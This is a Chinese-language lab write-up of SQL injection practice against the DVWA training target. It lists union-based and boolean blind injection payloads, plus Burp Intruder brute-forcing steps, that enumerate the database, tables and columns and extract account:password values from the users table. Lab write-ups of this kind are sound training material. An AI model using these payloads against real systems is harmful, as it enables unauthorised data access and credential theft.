DVWA靶机练习
一、sql语句注入
1、判断注入点,首先分别输入1’ and ‘1’=‘1和1’ and ‘1’='2
返回结果不同,那么可以确定注入点为整型。
2、使用order by推断字段数,即表中列的数量
输入1’ order by 2#,结果输出正常,说明只有2列字段
输入1’ order by 3#,报错,说明只有2列字段
3、使用union,确认显示位,即会显示的字段
输入1’ union select 1,2 #
4、获取数据库名
在注入点输入1’ union select user(),database() #,返回如下图,获取数据库用户名及数据库名dvwa
5、获取当前数据库中的表名
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#,发现有两个表分别为:guestbook,users
6、获取数据库表中的所有字段名
1’ union select group_concat(column_name),database() from information_schema.columns where table_schema = database() #
1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’#
1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘guestbook’ and table_schema=‘dvwa’#
二、SQL布尔型盲注入的原理与注入攻击
1、判断bool盲注是否存在
①1’ and if(1=1,1,0) #,页面返回正常,这个语句实际上是 1’ and 1,真 and 真,结果为真,1 是存在记录的。所以返回正确页面。
②1’ and if(1=2,1,0) #页面返回错误,这个语句就是 1’ and 0,真 and 假,结果为假,整个 SQL 的值也是 0,所以没有记录,返回错误页面。
2、判断数据库长度
①1’ and if(length(database())=4,1,0) #
②1’ and if(length(database())=5,1,0) #
说明库名的长度为4
3、获取数据库信息
①使用SUBSTRING函数
select SUBSTRING(DATABASE(),1,1);
select if(SUBSTRING(DATABASE(),1,1)=‘d’,1,0);
4、使用burp抓包爆破
①输入1’ and if(substring(database(),1,1)=‘d’,1,0) #,查看burp数据包
②发送到intruder模块
③进行爆破
拼接字符得到库名 dvwa
5、获取表名
5.1获取第一张表
①使用burp抓包,语句 1’ and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1)=‘g’,1,0) #
②发送到intruder模块
③添加字典,进行爆破
第一张表表名为guestbook
5.2根据爆第一张表的步骤,来爆破第二张表
第二张表表名为users
6、获取字段名
①抓包
1’and if(substring((select COLUMN_NAME from information_schema.COLUMNS where
TABLE_NAME=‘users’ and TABLE_SCHEMA=database() limit 0,1),1,1)=‘u’,1,0) #
②添加载荷、字典
③获取user表的字段
7、获取账号和密码
①判断查询的账号和密码长度,burp抓包
1’ and if((SELECT LENGTH(CONCAT(user,0x3a,PASSWORD)) from users limit
0,1)=40,1,0) #
②判断字符长度
长度为38
③获取账号密码
1’ and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit
0,1),1,1)=‘a’,1,0)#
进行爆破